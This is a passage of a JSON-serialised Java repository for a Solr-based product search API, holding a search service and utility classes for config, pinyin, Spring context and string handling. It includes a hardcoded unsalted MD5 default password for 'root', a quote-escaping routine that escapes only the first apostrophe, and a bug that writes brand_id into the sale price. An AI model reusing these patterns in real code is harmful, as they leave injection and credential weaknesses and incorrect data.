Commodity();\n\t\t\tc.setName(sd.get(\"name\").toString());\n\t\t\tc.setNo(sd.get(\"no\").toString());\n\t\t\tc.setSalePrice(Integer.parseInt(sd.get(\"sale_price\").toString()));\n\t\t\tc.setStyleNo(sd.get(\"style_no\").toString());\n\t\t\tc.setSalePrice(Integer.parseInt(sd.get(\"brand_id\").toString()));\n\t\t\tcommodityList.add(c);\n\t\t}\n\t\treturn commodityList;\n\t}\n\tprivate List<FacetItem> getFacetList(List<FacetField> ffList)\n\t{\n\t\tList<FacetItem> facetItemList = new ArrayList<FacetItem>();\n\t\tfor(FacetField f: ffList)\n\t\t{\n\t\t\tFacetItem fi = new FacetItem();\n\t\t\tfi.setId(f.getName());\t\n\t\t\tfi.setName(\"null\");\t//关于Filter显示的选项名称，需要计算\n\t\t\tfi.setValueCount(f.getValueCount());\n\t\t\t\n\t\t\tList<FacetValue> fvList = new ArrayList<FacetValue>();\n\t\t\t\n\t\t\tfor(Count c:f.getValues())\n\t\t\t{\n\t\t\t\tFacetValue fv = new FacetValue();\n\t\t\t\tfv.setId(c.getName());\n\t\t\t\tfv.setName(\"null\");\t//关于Filter显示的选项名称，需要计算\n\t\t\t\tfv.setCount((int) c.getCount());\n\t\t\t\tfvList.add(fv);\n\t\t\t}\n\t\t\t\n\t\t\tfi.setValueList(fvList);\n\t\t\t\n\t\t\tfacetItemList.add(fi);\n\t\t}\n\t\treturn facetItemList;\n\t}\n\tprivate SearchResult search(SolrQuery solrQuery,ResultType resultType)\n\t{\n\t\tHttpSolrServer hss = solrUtil.getSolrHttpConnect();\n\t\t\n\t\tSearchResult sr = null;\n\t\tSolrDocumentList sdList = null;\n\t\tQueryResponse qr = null;\n\n\t\ttry {\n\t\t\tqr = hss.query(solrQuery);\n\t\t\tsdList = qr.getResults();\n\t\t} catch (SolrServerException e) {\n\t\t\te.printStackTrace();\t//吃掉，下一个\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tif(sdList.getNumFound() > 0){\n\t\t\tsr = new SearchResult();\n\t\t\tsr.setResultType(resultType);\n\t\t\tList<Commodity> commodityList = getCommodityList(sdList);\n\t\t\tsr.setCommodityList(commodityList);\n\t\t\t\n\t\t\tList<FacetField> ffList = qr.getFacetFields();\n\t\t\tif(ffList.size() > 0)\n\t\t\t{\n\t\t\t\tList<FacetItem> facetItemList = getFacetList(ffList);\n\t\t\t\tsr.setFacetItemList(facetItemList);\n\t\t\t}\n\t\t\treturn sr;\n\t\t}\n\t\t\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/ConfigUtil.java",
    "content": "package com.jun.plugin.solr.utils;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class ConfigUtil {\n\t\n\tprivate @Value(\"${solrUrl}\")String solrUrl;\n\t\n\tpublic String getCasServerUrl() {\n\t\treturn solrUrl;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/ConstantUtil.java",
    "content": "package com.jun.plugin.solr.utils;\n\npublic class ConstantUtil {\n\t\n\tpublic static final String Fail = \"fail\";\n\t\n\tpublic static final String Success = \"success\";\n\n\tpublic static final String Exists = \"exists\";\n\t\n\tpublic static final String EmptyJsonObject = \"{}\";\n\t\n\tpublic static final String DefaultMd5Password = \"63a9f0ea7bb98050796b649e85481845\";\t//root\n\t\n\t/**\n\t * 分页，每页记录数\n\t */\n\tpublic static final Integer PageSize = 20;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/PinyinUtil.java",
    "content": "package com.jun.plugin.solr.utils;\n\nimport net.sourceforge.pinyin4j.PinyinHelper;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinCaseType;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinOutputFormat;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinToneType;\nimport net.sourceforge.pinyin4j.format.HanyuPinyinVCharType;\nimport net.sourceforge.pinyin4j.format.exception.BadHanyuPinyinOutputFormatCombination;\n\npublic class PinyinUtil {\n\t\n\tprivate static HanyuPinyinOutputFormat hypof;\n\n\tstatic {\n\t\thypof = new HanyuPinyinOutputFormat();\n\t\thypof.setCaseType(HanyuPinyinCaseType.LOWERCASE);\n\t\thypof.setToneType(HanyuPinyinToneType.WITHOUT_TONE);\n\t\thypof.setVCharType(HanyuPinyinVCharType.WITH_V);\n\t}\n\t\n\tpublic static String getPingYin(String src) {\n\t\tchar[] t1 = src.toCharArray();\n\t\tString[] t2 = new String[t1.length];\n\t\tString t4 = \"\";\n\t\tint t0 = t1.length;\n\t\ttry {\n\t\t\tfor (int i = 0; i < t0; i++) {\n\t\t\t\t// 判断是否为汉字字符\n\t\t\t\tif (Character.toString(t1[i]).matches(\"[\\\\u4E00-\\\\u9FA5]+\")) {\n\t\t\t\t\tt2 = PinyinHelper.toHanyuPinyinStringArray(t1[i],\n\t\t\t\t\t\t\thypof);\n\t\t\t\t\tif(t2!=null){\n\t\t\t\t\t\tt4 += t2[0];\n\t\t\t\t\t}\n\t\t\t\t} else\n\t\t\t\t\tt4 += Character.toString(t1[i]);\n\t\t\t}\n\t\t\tt1 = null;\n\t\t\tt2 = null;\n\t\t} catch (BadHanyuPinyinOutputFormatCombination e1) {\n\t\t\te1.printStackTrace();\n\t\t}\n\t\treturn t4;\n\t}\n\n\tpublic static String getPinYinHeadChar(String str) {\n\t\tString convert = \"\";\n\t\tchar word;\n\t\tString[] pinyinArray = null;\n\t\tfor (int j = 0; j < str.length(); j++) {\n\t\t\tword = str.charAt(j);\n\t\t\tpinyinArray = PinyinHelper.toHanyuPinyinStringArray(word);\n\t\t\tif (pinyinArray != null) {\n\t\t\t\tconvert += pinyinArray[0].charAt(0);\n\t\t\t} else {\n\t\t\t\tconvert += word;\n\t\t\t}\n\t\t}\n\t\treturn convert;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/SolrUtil.java",
    "content": "package com.jun.plugin.solr.utils;\n\nimport org.apache.solr.client.solrj.impl.BinaryRequestWriter;\nimport org.apache.solr.client.solrj.impl.HttpSolrServer;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n\n@Service\npublic class SolrUtil {\n\n\t@Autowired\n\tprivate ConfigUtil configUtil;\n\t\n\tpublic HttpSolrServer getSolrHttpConnect() {\n\t\t\n\t\tHttpSolrServer ss = new HttpSolrServer(configUtil.getCasServerUrl());\n\t\tss.setSoTimeout(500000);\n\t\tss.setConnectionTimeout(500000);\n\t\tss.setDefaultMaxConnectionsPerHost(1000);\n\t\tss.setMaxTotalConnections(1000);\n\t\tss.setFollowRedirects(false);\n\t\tss.setAllowCompression(true);\n\t\tss.setRequestWriter(new BinaryRequestWriter());\n\t\tss.setMaxRetries(5);\n\t\treturn ss;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/SpringContextHolder.java",
    "content": "package com.jun.plugin.solr.utils;\n\n\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\n\npublic class SpringContextHolder implements ApplicationContextAware {\n\t\n\tprivate static ApplicationContext applicationContext;\n\t\n\tpublic void setApplicationContext(ApplicationContext ac)\n\t{\n\t\tapplicationContext = ac;\n\t}\n\n\tpublic static ApplicationContext getApplicationContext()\n\t{\n\t\tcheckApplicationContext();\n\t\treturn applicationContext;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T getBean(String name)\n\t{\n\t\tcheckApplicationContext();\n\t\treturn (T) applicationContext.getBean(name);\n\t}\n\n\tpublic static <T> T getBean(Class<T> requiredType)\n\t{\n\t\tcheckApplicationContext();\n\t\treturn applicationContext.getBean(requiredType);\n\t}\n\n\tpublic static void cleanApplicationContext()\n\t{\n\t\tapplicationContext = null;\n\t}\n\n\tprivate static void checkApplicationContext() {\n\t\tif (applicationContext == null)\n\t\t\tthrow new IllegalStateException(\"applicaitonContext未注入,请在applicationContext.xml中定义SpringContextHolder\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/utils/StringUtil.java",
    "content": "package com.jun.plugin.solr.utils;\n\nimport java.io.UnsupportedEncodingException;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\nimport java.security.MessageDigest;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class StringUtil\n{\n\t/**\n\t * 按照数字的方式比较两个字符串\n\t * @param str1\n\t * @param str2\n\t * @return\n\t */\n\tpublic static int compareTo(String str1,String str2)\n\t{\n\t\tint dis = Math.abs(str1.length()-str2.length());\n\t\tif(dis!=0)\n\t\t{\n\t\t\tString temp = \"\";\n\t\t\tfor(int i=0;i<dis;i++)\n\t\t\t{\n\t\t\t\ttemp += \"0\";\n\t\t\t}\n\t\t\tif(str1.length()>str2.length())\n\t\t\t{\n\t\t\t\tstr2 = temp + str2;\n\t\t\t} else {\n\t\t\t\tstr1 = temp + str1;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn str1.compareTo(str2);\n\t}\n\n  public static String getValue(String str)\n  {\n    if (str == null) return \"\";\n    if (str.trim().length() <= 0) return \"\";\n    str = \"H\" + str;\n    str = str.trim();\n    str = str.substring(1);\n    return str;\n  }\n\n  public static boolean isStrEmpty(String str)\n  {\n    return ((str == null) || (str.equals(\"\")));\n  }\n\n  public static boolean isStrTrimEmpty(String str)\n  {\n    return ((str == null) || (str.trim().equals(\"\")));\n  }\n\n  public static boolean chkTextLen(String text, int len)\n  {\n    return ((text != null) && (text.length() <= len));\n  }\n\n  public static boolean chkTextTrimLen(String text, int len)\n  {\n    return ((text != null) && (text.trim().length() <= len));\n  }\n\n  public static boolean isStrEn(String text)\n  {\n    for (int i = 0; i < text.length(); ++i) {\n      if (text.charAt(i) > '') {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  public static boolean isCharNum(char ch)\n  {\n    return ((ch > '/') && (ch < ':'));\n  }\n\n  public static boolean isStrNum(String str)\n  {\n    if (isStrEmpty(str)) {\n      return true;\n    }\n    boolean notNum = false;\n    for (int i = 0; i < str.length(); ++i) {\n      if (!(isCharNum(str.charAt(i)))) {\n        notNum = true;\n      }\n    }\n    return (!(notNum));\n  }\n\n  public static boolean isNum(String strSrc)\n    throws Exception\n  {\n    for (int i = 0; i < strSrc.length(); ++i) {\n      if (!(isCharNum(strSrc.charAt(i))))\n        return false;\n    }\n    return true;\n  }\n\n  public static boolean isCharLetter(char ch)\n  {\n    return (((ch >= 'A') && (ch <= 'Z')) || ((ch >= 'a') && (ch <= 'z')));\n  }\n\n  public static boolean isStrLetter(String str)\n  {\n    if (isStrEmpty(str))\n      return true;\n    boolean notLetter = false;\n    for (int i = 0; i < str.length(); ++i) {\n      if (!(isCharLetter(str.charAt(i)))) {\n        notLetter = true;\n      }\n    }\n    return (!(notLetter));\n  }\n\n  public String nullToSpace(String Content)\n  {\n    if (Content == null) {\n      Content = \"\";\n    }\n    return Content;\n  }\n\n  public static char StrToChar(String src)\n  {\n    src = src.trim();\n    char result = src.charAt(0);\n    return result;\n  }\n\n  public static String encodeSQL(String sql)\n  {\n    StringBuffer tempBuff = new StringBuffer();\n    for (int i = 0; i < sql.length(); ++i) {\n      tempBuff.append(Integer.toHexString(sql.charAt(i)));\n    }\n    return tempBuff.toString();\n  }\n\n  public static String decodeSQL(String encoded)\n  {\n    StringBuffer tempBuff = new StringBuffer();\n    for (int i = 0; i < encoded.length(); i += 2) {\n      tempBuff.append((char)Integer.parseInt(encoded.substring(i, i + 2), 16));\n    }\n\n    return tempBuff.toString();\n  }\n\n  public static String getAbsolutePath(String path1, String context1)\n  {\n    int i1 = path1.indexOf(context1);\n    if (i1 < 0) return path1;\n\n    return path1.substring(path1.indexOf(context1) + context1.length());\n  }\n\n  public static String getSubString(String str1, int sindex, int eindex)\n  {\n    if (str1 == null) return \"\";\n    if (str1.trim().length() <= 0) return \"\";\n    if (str1.length() > sindex)\n    {\n      if (eindex >= 0)\n        return str1.substring(sindex, eindex);\n      if (eindex < 0)\n        return str1.substring(sindex);\n    }\n    return \"\";\n  }\n\n  public static String[] getValues(String[] strs, int size1)\n  {\n    String[] strs1 = new String[size1];\n    for (int i = 0; i < size1; ++i)\n    {\n      strs1[i] = \"\";\n    }\n    if (strs == null) return strs1;\n\n    if (strs.length < size1)\n    {\n      for (int i = 0; i < strs.length; ++i)\n      {\n        strs1[i] = strs[i];\n      }\n      return strs1;\n    }\n\n    return strs;\n  }\n\n  public static String replaceStrAll(String strSource, String strFrom, String strTo)\n  {\n    String strDest = \"\";\n    int intFromLen = strFrom.length();\n\n    int intPos;\n\twhile ((intPos = strSource.indexOf(strFrom)) != -1)\n    {\n      strDest = strDest + strSource.substring(0, intPos);\n      strDest = strDest + strTo;\n      strSource = strSource.substring(intPos + intFromLen);\n    }\n    strDest = strDest + strSource;\n    return strDest;\n  }\n\n  public static String replaceStr(String strTarget, String strNew)\n  {\n    int iIndex = -1;\n    while (true)\n    {\n      iIndex = strTarget.indexOf(10);\n\n      if (iIndex < 0) {\n        break;\n      }\n\n      String strTemp = null;\n      strTemp = strTarget.substring(0, iIndex);\n\n      strTarget = strTemp + strNew + strTarget.substring(iIndex + 1);\n    }\n\n    return strTarget;\n  }\n\n  public static boolean includestr(String str1, String[] strarray)\n  {\n    if ((strarray == null) || (strarray.length <= 0)) return false;\n    for (int i = 0; i < strarray.length; ++i)\n    {\n      if (strarray[i] == null)\n      {\n        if (str1 == null) return true;\n\n      }\n      else if (strarray[i].trim().equals(str1))\n      {\n        return true;\n      }\n    }\n    return false;\n  }\n\n  public static String[] getAreaValues(String fvalue)\n  {\n    String tmpstr = fvalue;\n    int i = 0;\n    if (tmpstr == null) return null;\n    if (tmpstr.trim().equals(\"\")) return null;\n    while (tmpstr.indexOf(\"\\n\") >= 0) {\n      ++i;\n      tmpstr = tmpstr.substring(tmpstr.indexOf(\"\\n\") + 1);\n    }\n    if (tmpstr.trim().equals(\"\")) --i;\n    String[] fvalues = new String[i + 1];\n    tmpstr = fvalue;\n    i = 0;\n    while (tmpstr.indexOf(\"\\n\") >= 0)\n    {\n      fvalues[i] = tmpstr.substring(0, tmpstr.indexOf(\"\\n\"));\n      if (fvalues[i].indexOf(\"\\r\") >= 0) fvalues[i] = fvalues[i].substring(0, fvalues[i].indexOf(\"\\r\"));\n      ++i;\n      tmpstr = tmpstr.substring(tmpstr.indexOf(\"\\n\") + 1);\n    }\n    if (!(tmpstr.trim().equals(\"\")))\n      fvalues[i] = tmpstr;\n    return fvalues;\n  }\n\n  public static String getrealAreaValues(String fvalue)\n  {\n    String tmpstr = fvalue;\n    String returnstr = \"\";\n    if (tmpstr == null) return null;\n    if (tmpstr.trim().equals(\"\")) return \"\";\n    while (tmpstr.indexOf(\"|\") > 0)\n    {\n      returnstr = returnstr + tmpstr.substring(0, tmpstr.indexOf(\"|\")) + \"\\n\";\n      tmpstr = tmpstr.substring(tmpstr.indexOf(\"|\") + 1);\n    }\n    return returnstr;\n  }\n\n  public static int CountChar(String strInput, char chr)\n  {\n    int iCount = 0;\n    char chrTmp = ' ';\n\n    if (strInput.trim().length() == 0) {\n      return 0;\n    }\n    for (int i = 0; i < strInput.length(); ++i) {\n      chrTmp = strInput.charAt(i);\n      if (chrTmp == chr) {\n        ++iCount;\n      }\n    }\n    return iCount;\n  }\n\n  public static String StrArrayToStr(String[] strs)\n  {\n    StringBuffer returnstr = new StringBuffer(\"\");\n    if (strs == null) return \"\";\n    for (int i = 0; i < strs.length; ++i) {\n      returnstr.append(strs[i]);\n    }\n    return returnstr.toString();\n  }\n\n  public static void printStrs(String[] strs)\n  {\n    for (int i = 0; i < strs.length; ++i)\n      System.out.println(strs[i]);\n  }\n\n  public static void printDualStr(String[][] dualStr)\n  {\n    for (int i = 0; i < dualStr.length; ++i) {\n      for (int j = 0; j < dualStr[i].length; ++j) {\n        System.out.print(dualStr[i][j] + \" \");\n      }\n      System.out.println();\n    }\n  }\n\n  public static String[][] rowToColumn(String[][] dualStr)\n  {\n    String[][] returnDualStr = (String[][])null;\n    if (dualStr != null) {\n      returnDualStr = new String[dualStr[0].length][dualStr.length];\n      for (int i = 0; i < dualStr.length; ++i)\n        for (int j = 0; j < dualStr[0].length; ++j)\n          returnDualStr[j][i] = dualStr[i][j];\n    }\n    return returnDualStr;\n  }\n\n  public static String latinString(String inStr)\n  {\n    String res = inStr;\n    if (null == res) return null;\n    res = replaceStrAll(res, \"\\\"\", \"\\\\\\\"\");\n    res = replaceStrAll(res, \"'\", \"\\\\'\");\n    return res;\n  }\n\n  /**\n   * 替换空格\n   * @param strTarget\n   * @param strNew\n   * @return\n   */\n  public static String replaceWhiteSpace(String strTarget, String strNew)\n  {\n\t  if(strTarget==null)\n\t  {\n\t\t  return \"\";\n\t  }\n\t  int iIndex = -1;\n\t  while (true) {\n\t\t  char cRep = ' ';\n\t\t  iIndex = strTarget.indexOf(cRep);\n\t\t  if (iIndex < 0) {\n\t\t\t  break;\n\t\t  }\n\t\t  String strTemp = null;\n\t\t  strTemp = strTarget.substring(0, iIndex);\n\n\t\t  strTarget = strTemp + strNew + strTarget.substring(iIndex + 1);\n\t  }\n\t  return strTarget;\n  }\n\n  public static String double2str(double amount, int length)\n  {\n    String strAmt = Double.toString(amount);\n\n    int pos = strAmt.indexOf(46);\n\n    if ((pos != -1) && (strAmt.length() > length + pos + 1)) {\n      strAmt = strAmt.substring(0, pos + length + 1);\n    }\n    return strAmt;\n  }\n\n  public static String[] doSplit(String str, char chr)\n  {\n    int iCount = 0;\n    char chrTmp = ' ';\n\n    for (int i = 0; i < str.length(); ++i) {\n      chrTmp = str.charAt(i);\n      if (chrTmp == chr) {\n        ++iCount;\n      }\n    }\n    String[] strArray = new String[iCount];\n    for (int i = 0; i < iCount; ++i) {\n      int iPos = str.indexOf(chr);\n      if (iPos == 0) {\n        strArray[i] = \"\";\n      }\n      else {\n        strArray[i] = str.substring(0, iPos);\n      }\n      str = str.substring(iPos + 1);\n    }\n    return strArray;\n  }\n\n public static String strIntercept(String src, int len)\n  {\n    if (src == null) {\n      return \"\";\n    }\n    if (src.length() > len) {\n      src = String.valueOf(String.valueOf(src.substring(0, len))).concat(\"...\");\n    }\n\n    return src;\n  }\n\n  public static String strtochn(String str_in)\n  {\n    try\n    {\n      String temp_p = str_in;\n      if (temp_p == null) {\n        temp_p = \"\";\n      }\n      String temp = \"\";\n      if (!(temp_p.equals(\"\"))) {\n        byte[] byte1 = temp_p.getBytes(\"ISO8859_1\");\n        temp = new String(byte1);\n      }\n      return temp;\n    }\n    catch (Exception e) {\n    }\n    return \"null\";\n  }\n\n  public static String ISO2GBK(String strvalue)\n  {\n    try\n    {\n      if (strvalue == null) {\n        return null;\n      }\n      strvalue = new String(strvalue.getBytes(\"ISO8859_1\"), \"GBK\");\n      return strvalue;\n    }\n    catch (Exception e) {\n    }\n    return null;\n  }\n\n  public String GBK2ISO(String strvalue)\n    throws Exception\n  {\n    try\n    {\n      if (strvalue == null) {\n        return null;\n      }\n      strvalue = new String(strvalue.getBytes(\"GBK\"), \"ISO8859_1\");\n      return strvalue;\n    }\n    catch (Exception e) {\n    }\n    return null;\n  }\n\n  public static String cnCodeTrans(String str)\n  {\n    String s = \"\";\n    try {\n      s = new String(str.getBytes(\"GB2312\"), \"8859_1\");\n    }\n    catch (UnsupportedEncodingException a) {\n      System.out.print(\"chinese thansform exception\");\n    }\n    return s;\n  }\n\n  public static String chiEnUTF8(String str)\n  {\n    String s = \"\";\n    try {\n      s = new String(URLEncoder.encode(str, \"UTF-8\"));\n    }\n    catch (UnsupportedEncodingException a) {\n      System.out.print(\"chinese thansform exception\");\n    }\n    return s;\n  }\n\n  public static String chiDeUTF8(String str)\n  {\n    String s = \"\";\n    try {\n      s = new String(URLDecoder.decode(str, \"UTF-8\"));\n\n      byte[] bytes = s.getBytes(\"ISO-8859-1\");\n      s = new String(bytes, \"UTF-8\");\n    }\n    catch (UnsupportedEncodingException a) {\n      System.out.print(\"chinese thansform exception\");\n    }\n    return s;\n  }\n\n  public static boolean judgeMatch(String strSource, String strRule)\n  {\n    int i = 0;\n\n    if ((null == strSource) || (strSource.length() == 0)) {\n      return false;\n    }\n    if ((null == strRule) || (strRule.length() == 0)) {\n      return false;\n    }\n    if (strSource.length() > strRule.length()) {\n      return false;\n    }\n    for (i = 0; i < strRule.length(); ++i)\n    {\n      if (strSource.length() < i + 1) {\n        break;\n      }\n      if ((strRule.charAt(i) != '*') && (strSource.charAt(i) != strRule.charAt(i)))\n      {\n        return false;\n      }\n    }\n\n    for (; i < strRule.length(); ++i) {\n      if (strRule.charAt(i) != '*')\n        return false;\n    }\n    return true;\n  }\n\n  public static String getFullChnStr(String strSource)\n  {\n    if ((null == strSource) || (strSource.length() == 0)) {\n      return \"\";\n    }\n    if (strSource.length() == 1)\n    {\n      if (strSource.charAt(0) > '')\n      {\n        return \"\";\n      }\n      return strSource;\n    }\n    if ((strSource.charAt(strSource.length() - 2) <= '') && (strSource.charAt(strSource.length() - 1) > '')) {\n      return strSource.substring(0, strSource.length() - 1);\n    }\n\n    boolean prechn = false;\n    String returnstr = \"\";\n    for (int i = 0; i < strSource.length(); ++i)\n    {\n      if (strSource.charAt(i) <= '')\n      {\n        if (prechn)\n        {\n          returnstr = returnstr.substring(0, returnstr.length() - 1);\n        }\n\n        returnstr = returnstr + strSource.charAt(i);\n        prechn = false;\n      }\n      else {\n        returnstr = returnstr + strSource.charAt(i);\n        if (prechn)\n        {\n          prechn = false;\n        }\n        else prechn = true;\n      }\n    }\n\n    if (prechn)\n    {\n      returnstr = returnstr.substring(0, returnstr.length() - 1);\n    }\n    return returnstr;\n  }\n\n  public static String filerQuery(String qryStr)\n  {\n    int comma = 0;\n    int len = 0;\n    String Str = \"\";\n\n    comma = qryStr.indexOf(\"'\");\n    len = qryStr.length();\n\n    if (qryStr == \"\") {\n      Str = \"\";\n    }\n    else if (comma > 0)\n      Str = qryStr.substring(0, comma) + \"''\" + qryStr.substring(comma + 1, len);\n    else if (comma == 0)\n      Str = \"''\";\n    else if (comma < 0) {\n      Str = qryStr;\n    }\n\n    return Str;\n  }\n\n  public static String appendStr(String str)\n  {\n    int strlength = 0;\n    int adddot = 0;\n    int tmpstrlength = 0;\n    int callength = 0;\n    int plusdot = 0;\n    String firststr = \"\";\n    String endstr = \"\";\n    String returnStr = \"\";\n    String tmpfirststr = \"\";\n    String tmpendstr = \"\";\n    boolean isNegative = false;\n\n    if (str.startsWith(\"-\")) {\n      isNegative = true;\n    }\n    tmpstrlength = str.indexOf(\".\");\n    if (isNegative)\n      firststr = str.substring(1, tmpstrlength);\n    else {\n      firststr = str.substring(0, tmpstrlength);\n    }\n\n    endstr = str.substring(tmpstrlength);\n    strlength = firststr.length();\n    adddot = strlength / 3;\n    plusdot = strlength % 3;\n    if (plusdot == 0)\n    {\n      adddot -= 1;\n    }\n    for (int i = 0; i < adddot; ++i)\n    {\n      callength = firststr.length();\n      tmpfirststr = firststr.substring(0, callength - (4 * i + 3));\n      tmpendstr = firststr.substring(callength - (4 * i + 3));\n      firststr = tmpfirststr + \",\" + tmpendstr;\n    }\n\n    if (isNegative)\n      returnStr = \"-\" + firststr + endstr;\n    else {\n      returnStr = firststr + endstr;\n    }\n    return returnStr;\n  }\n\n  public static boolean CompareString(String str1, String str2)\n  {\n    if (str1.equals(str2))\n    {\n      return true;\n    }\n    if ((str1.endsWith(\"\\r\\n\")) && (str1.length() > 2))\n    {\n      str1 = str1.substring(0, str1.length() - 2);\n    }\n    if ((str2.endsWith(\"\\r\\n\")) && (str2.length() > 2))\n    {\n      str2 = str2.substring(0, str2.length() - 2);\n    }\n\n    return (str1.equals(str2));\n  }\n\n  public static String SepFormatStr(String SourceStr, int maxlength, String separator)\n  {\n    if (SourceStr == null) return null;\n    SourceStr = SourceStr.replaceAll(\"\\r\", \"\");\n    SourceStr = SourceStr.replaceAll(\"\\n\", \"\");\n    SourceStr = SourceStr.replaceAll(separator, \"\");\n\n    boolean cnflag = false;\n\n    boolean end = false;\n\n    StringBuffer resultsb = new StringBuffer();\n\n    StringBuffer tempsb = new StringBuffer();\n\n    String tempstr = \"\";\n    for (int i = 0; i < SourceStr.length(); ++i)\n    {\n      char Cindex = SourceStr.charAt(i);\n\n      if (Cindex > '')\n      {\n        if (cnflag)\n        {\n          if (tempsb.length() >= maxlength - 1)\n          {\n            if (resultsb.length() > 0)\n            {\n              resultsb.append(separator);\n            }\n            resultsb.append(tempsb);\n            tempsb.delete(0, tempsb.length());\n          }\n\n          tempstr = SourceStr.substring(i - 1, i + 1);\n\n          tempsb.append(tempstr);\n          cnflag = false;\n        } else {\n          cnflag = true;\n        }\n      }\n      else {\n        if (cnflag)\n        {\n          cnflag = false;\n        }\n\n        tempsb.append(Cindex);\n      }\n\n      if (i == SourceStr.length() - 1) end = true;\n\n      if ((tempsb.length() <= 0) || ((tempsb.length() < maxlength) && (!(end)))) {\n        continue;\n      }\n      if (resultsb.length() > 0)\n      {\n        resultsb.append(separator);\n      }\n      resultsb.append(tempsb);\n      tempsb.delete(0, tempsb.length());\n      end = false;\n    }\n\n    return resultsb.toString();\n  }\n\n  public static String exchangeName(String strTmp)\n  {\n    String ori = strTmp.trim();\n    if (ori != null)\n    {\n      if ((ori.length() == 4) || (ori.length() == 6))\n      {\n        if (ori.length() == 4)\n        {\n          ori = ori.substring(2, 4) + ori.substring(0, 2);\n        }\n        else\n        {\n          ori = ori.substring(2, 6) + ori.substring(0, 2);\n        }\n\n      }\n      else\n      {\n        return ori;\n      }\n    }\n    return ori;\n  }\n\n  public static String isExistAcc(String strIn)\n  {\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n\n    String strAccRet = \"\";\n    int iCount = 0;\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if ((ch >= '0') && (ch <= '9'))\n        {\n          ++iCount;\n          strAccRet = strAccRet + String.valueOf(ch);\n        }\n        else\n        {\n          if (iCount > 15)\n            break;\n          iCount = 0;\n          strAccRet = \"\";\n        }\n      }\n    }\n\n    if (iCount > 15) {\n      return strAccRet;\n    }\n    return \"\";\n  }\n\n  public static boolean judgeAllNumberic(String strIn)\n  {\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n    strIn = strIn.replaceAll(\" \", \"\");\n\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if ((ch < '0') || (ch > '9'))\n        {\n          return false;\n        }\n      }\n    }\n    else {\n      return false; }\n    return true;\n  }\n\n  public static boolean judgeAllChn(String strIn)\n  {\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n    strIn = strIn.replaceAll(\" \", \"\");\n\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if (ch <= 0) continue; if (ch < '~')\n        {\n          return false; }\n      }\n      return true;\n    }\n\n    return false;\n  }\n\n  public static boolean judgeChnCode(String strIn)\n  {\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n    strIn = strIn.replaceAll(\" \", \"\");\n\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if (((ch >= '0') && (ch <= '9')) || (ch <= 0)) continue; if (ch < '~')\n        {\n          return false;\n        }\n      }\n    }\n    else {\n      return false; }\n    return true;\n  }\n\n  public static boolean judgeExistChn(String strIn)\n  {\n    if (judgeChnCode(strIn))\n    {\n      return true;\n    }\n\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n    strIn = strIn.replaceAll(\" \", \"\");\n\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if ((ch <= 0) || (ch >= '~'))\n        {\n          return true;\n        }\n\n      }\n\n      return false;\n    }\n\n    return false;\n  }\n\n  public static boolean judgeExistNumber(String strIn)\n  {\n    if (judgeChnCode(strIn))\n    {\n      return true;\n    }\n\n    strIn = strIn.replaceAll(\"\\r\\n\", \"\\n\");\n    strIn = strIn.replaceAll(\"\\n\", \"\");\n    strIn = strIn.replaceAll(\" \", \"\");\n\n    if ((strIn != null) && (strIn.length() > 0))\n    {\n      StringBuffer buff = new StringBuffer(strIn);\n      int len = buff.length();\n      for (int i = 0; i < len; ++i)\n      {\n        char ch = buff.charAt(i);\n        if ((ch >= 